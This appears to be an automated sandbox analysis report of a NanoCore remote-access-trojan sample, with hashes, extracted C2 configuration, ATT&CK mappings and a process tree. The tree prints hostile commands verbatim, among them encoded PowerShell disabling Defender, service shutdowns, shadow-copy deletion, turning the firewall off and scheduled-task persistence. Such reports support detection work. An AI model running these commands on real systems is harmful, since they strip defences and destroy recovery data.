nanocore | b10aae107f3dd01fe796c63bf28de5aa762d35dc5e7d469a12a1569b25d5090f

Analysis

max time kernel
0s
max time network
16s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/09/2026, 20:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-05_6346b965dc8cc98f86b89d095e3d1b35_destroyer_elex_glassworm_ngrbot_wannacry.exe
Size 57KB
Sample260907-ysgdbabb26
SHA256 b10aae107f3dd01fe796c63bf28de5aa762d35dc5e7d469a12a1569b25d5090f
MD5 6346b965dc8cc98f86b89d095e3d1b35
SHA1 b13346b926dbdc27be77704d3c8b443f04bb7834
SHA512 6dca79732507d6935bd3056f789f1d92376254670964b99f310a97edb122c9f4806f5d536af7742ed444af982be98b7ea80e74b437eb513436b6d5a454179be2
SSDEEP 1536:nVrzo1DSa8epQWg/fi4wLXGb5feOTNuu6:Rzo12atg/64wLXGFfeOTNuJ
TLSH
T10443E84477FD4251E1BF9EBA5DB191518732B8A7AC32C38D0AD4068E19B2B40CDA8F77
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution nanocore impact keylogger persistence ransomware spyware stealer trojan

Malware Config

Extracted

Family

nanocore

Version

1.2.2.0

http://projectoasis.io

Mutex

ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes

c2_url
http://projectoasis.io
default_group
xoilac
primary_dns
ali.ns.cloudflare.com
secondary_dns
woz.ns.cloudflare.com
version
1.2.2.0

Signatures

Family: NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral2/memory/2968-1-0x0000000000240000-0x0000000000254000-memory.dmp	disable_win_def

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Detects command variations typically used by ransomware 1 IoCs

resource	yara_rule
behavioral2/memory/2968-1-0x0000000000240000-0x0000000000254000-memory.dmp	INDICATOR_SUSPICIOUS_GENRansomware

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs

resource	yara_rule
behavioral2/memory/2968-1-0x0000000000240000-0x0000000000254000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3920	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2116	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2472	tasklist.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
3016	wscript.exe
6140	wscript.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5348	sc.exe
4748	sc.exe
4276	sc.exe
5992	sc.exe
5024	sc.exe
2384	sc.exe
2540	sc.exe
1984	sc.exe
4660	sc.exe
124	sc.exe
4472	sc.exe
2932	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5992	cmd.exe
3940	cmd.exe
4104	cmd.exe
4904	cmd.exe
2452	cmd.exe
4660	cmd.exe
5024	cmd.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1280	NETSTAT.EXE
4160	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
904	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5984	vssadmin.exe
5912	vssadmin.exe
4960	vssadmin.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4348	schtasks.exe
4476	schtasks.exe
2872	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\2026-09-05_6346b965dc8cc98f86b89d095e3d1b35_destroyer_elex_glassworm_ngrbot_wannacry.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-05_6346b965dc8cc98f86b89d095e3d1b35_destroyer_elex_glassworm_ngrbot_wannacry.exe"
1⤵
PID:2968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3920
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1984
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4660
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:2540
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:2384
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4276
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:124
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:5024
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4472
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:2488
- - C:\Users\Admin\AppData\Local\Temp\2026-09-05_6346b965dc8cc98f86b89d095e3d1b35_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-05_6346b965dc8cc98f86b89d095e3d1b35_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    3⤵
    PID:3416
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5992
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2932
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5912
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:3628
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3016
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-05_6346b965dc8cc98f86b89d095e3d1b35_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4348
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-05_6346b965dc8cc98f86b89d095e3d1b35_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  PID:4104
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4960
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    PID:4332
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  PID:3940
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:904
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  PID:5992
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:2472
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  PID:5024
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:4716
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  PID:4660
- - C:\Windows\system32\net.exe
    net user
    3⤵
    PID:4164
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:4492
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  PID:2452
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4160
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  PID:4904
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:1280
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-05_6346b965dc8cc98f86b89d095e3d1b35_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2872
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:6140
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:5448
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5984
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:788
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:324
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:1072
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:2116
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:4748
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5348

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1068

C:\Users\Admin\AppData\Local\Temp\2026-09-05_6346b965dc8cc98f86b89d095e3d1b35_destroyer_elex_glassworm_ngrbot_wannacry.exe
C:\Users\Admin\AppData\Local\Temp\2026-09-05_6346b965dc8cc98f86b89d095e3d1b35_destroyer_elex_glassworm_ngrbot_wannacry.exe
1⤵
PID:5572

C:\Users\Admin\AppData\Local\Temp\2026-09-05_6346b965dc8cc98f86b89d095e3d1b35_destroyer_elex_glassworm_ngrbot_wannacry.exe
C:\Users\Admin\AppData\Local\Temp\2026-09-05_6346b965dc8cc98f86b89d095e3d1b35_destroyer_elex_glassworm_ngrbot_wannacry.exe
1⤵
PID:1592

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

scr_20260907_210426.jpg

Path C:\ProgramData\SysUpdate\Scr\scr_20260907_210426.jpg
Size 51KB
SHA256 2e2c565df78a5d1d7d371e3a01cd1a0a197cddcf07d270dd425f8847ca8fa145
MD5 006427b63fb3116ee483806c853c2054
SHA1 7f728a38e446a5f832bc6d06776661ff1374811d
SHA512 8ad52c16790775b22a459880b3398e39e04294ad12b5c4b59f815d04ba4b04777ab527eb822bc305f3a9a482950ce5c59098fd115ffaaa754eb6971a9c2628cd
SSDEEP 768:Scs0Tn+GG9hHOtVTGwcgxaPWRfhyNW+Zq1gk:Scs+n+19xOtVawcTWRgNWLgk
TLSH
T16433DA078845DB93A45D83E8BE074EA91F4A2B0DE5C73EEF41621EDB3E552221CCE12D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

invoice_1.pdf

Path C:\ProgramData\invoice_1.pdf
Size 76KB
SHA256 525075f78ac76d42960ee5bff5d8fdb12444e8146dfd44d1cf2233ae1dd90674
MD5 0cbaeb1005bfa8a95a80eefed8fb853f
SHA1 4d7e9ff09c3fab263783b8132d0f8d46950ba8e5
SHA512 8c6475e4cda4ce7acc218067aba5170e382b2b18d04d022d06d75310d13296d3f53fdb29cf51d42bb3263eea7d717897e1a739d9d94dbbf3dc6a854b2aae1952
SSDEEP 1536:cOjZTpDKpUoVWblMuzjtrLe48AsO9OVdIeVpg1OQuP+BJA8ezplLRSku1uwBKYkp:cOjZ9KpUMiMut38APEVdIGe3uPHzplC+
TLSH
T186732B368F22FCD4677E3D40E0203A561C883E6B4BB5677CFA810DA669A5540DF3E99C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

doc_3.pdf

Path C:\SystemVolumeInformation\doc_3.pdf
Size 76KB
SHA256 99157554889c7ac2c3dd82b1e5c6f2b605fc982a571b4bdef53dc270a40effde
MD5 77726b483df1c995d53f7102f6f810e6
SHA1 53b865a989ee543cc6f59ebebd5f6d308ffd792f
SHA512 9554dfde4da345a9848f2880075d61c03e4a25fea77a1d073928ec9f63991ca49e83ff2f019ed89107ed566cc71986c6c3b385b5651f9abde79fe4d8a39826eb
SSDEEP 1536:8OjZTpDKpUoVWblMuzjtrLe48AsO9OVdIeVpg1OQuP+BJA8ezplLRSku1uwBKYkg:8OjZ9KpUMiMut38APEVdIGe3uPHzplC5
TLSH
T18C731B368F22FCD4677E3D40A0203A561C893E6B8B75677CFA810DA669A5140DF3E99C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

createshortcut.vbs

Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
Size 309B
SHA256 9cbd570b7e46ef8b0134c058f1094127fd15eff3b01c6a24bb3a357668476ef4
MD5 2462fec9a91f3f1d99e864a2c5896080
SHA1 f9b5befb6bcdfb983743041a5b50cafb90ad7beb
SHA512 228f96c7caa8fc1b4d5099d425e189430009019cc40665c7516595a8a030b3f98c21b6cf5c3961948df76cac371739d43280a51ad0540b0d1837e0b8533592d1
TLSH
T183E07D47B108C5650001523BC0F34D4CD0A0A4B826376E605760DD4D3E918C5D6F1442
MD5 SHA1 SHA512 TLSH

Submit Download

del.bat

Path C:\Users\Admin\AppData\Local\Temp\del.bat
Size 59B
SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
MD5 9cecbebdcdd60358132849714a3b82f7
SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
TLSH
T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
MD5 SHA1 SHA512 TLSH

Submit Download

makelnk.vbs

Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
Size 310B
SHA256 983955efe4f529bedfe355262f642cd9b160284a92d3713ef51079e1f1471385
MD5 405a970a0fdc21b2a9af136766fe2157
SHA1 729c5f1c96ea46f6cc5351edcd5c10821b1b171f
SHA512 3e592a6c14b9290823756b2bc96a322a8856e051cc88e5be9c93e623c199a71f7986beda581456da5b211ba30f4b534c0efddc9d7d020610ecfde2055dbb6fcd
TLSH
T11BE07D47B108C5650001523BC0F34D4CD1D1A5B82A376E609760DD0D3F818C5D6F1442
MD5 SHA1 SHA512 TLSH

Submit Download

temp_steal.log

Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
Size 93KB
SHA256 87a14e2000f59ad66ceb3ed38514d199c1d41c439c026534458b726095a2986a
MD5 5525f22de13c9e82e9796ca32e3eca50
SHA1 094772991265806d817d12b48dbddac0258a855e
SHA512 8798af79145002b8913ebce2c56aa65b6f9df29a385103beb73702acda515c6bbed063ddf1fca27ae0e11606ec27953e4e15b41c386f54e024215266c3b6bae4
SSDEEP 768:pcSO2WtjnNdtMRRSSSSSth5lFXO6LPxl4aGJNfpjcItrLFVISLItQYPCePCUM8ku:FOptp5lFXO6NGaG/pj9ruVLdj+hUx
TLSH
T194930A15C7B29E7A05824AEB180277D4A57CB7F592DCC1FB20B6AF73F462CE2C609251
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

stolen_data_here.txt

Path C:\Users\Admin\Desktop\stolen_data_here.txt
Size 147KB
SHA256 294eb2f9b98c331361df88a9fbc4e64d4935edd7013333c7a0e224c6427d16b4
MD5 d21203b5dd0c3c489c69578d11525039
SHA1 16c8c49f61a642b8db85763dce79465fe533ab26
SHA512 4e5f9e3b859e5dbaaa4ca9c8cac204a0387997015160021ce687cff2689f0177775411f3f770c1800378af07a2f4a363e61149aac2d027a10be53219e5b952f7
SSDEEP 1536:dOptp5lFXO6NGaG/pj9ruVLdj+hUaPP+5TYl4qre+tYaMSqlhJt:dk57LXuj9ruVL9+hUaPQhqK+yazw
TLSH
T131E35901C6B39E7605865AAB181673D5A478B7B5C2ECC0FF21B2AF73F4728F2C649251
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2968-5-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/2968-3-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/2968-2283-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/2968-2281-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/2968-2280-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/2968-4-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/2968-0-0x00007FFBB062F000-0x00007FFBB0630000-memory.dmp

Download

memory/2968-28-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/2968-6-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/2968-2-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/2968-1-0x0000000000240000-0x0000000000254000-memory.dmp

Download

memory/3920-78-0x0000024FF7950000-0x0000024FF795A000-memory.dmp

Download

memory/3920-2150-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/3920-27-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/3920-23-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/3920-22-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/3920-20-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/3920-19-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/3920-16-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/3920-14-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/3920-35-0x0000024FF8370000-0x0000024FF8422000-memory.dmp

Download

memory/3920-29-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/3920-33-0x0000024FF7930000-0x0000024FF794E000-memory.dmp

Download

memory/3920-25-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/3920-24-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/3920-11-0x0000024FF7500000-0x0000024FF7522000-memory.dmp

Download

memory/3920-21-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/3920-17-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/3920-15-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/3920-13-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/3920-12-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

Download

memory/5448-2276-0x0000022EC5770000-0x0000022EC5771000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads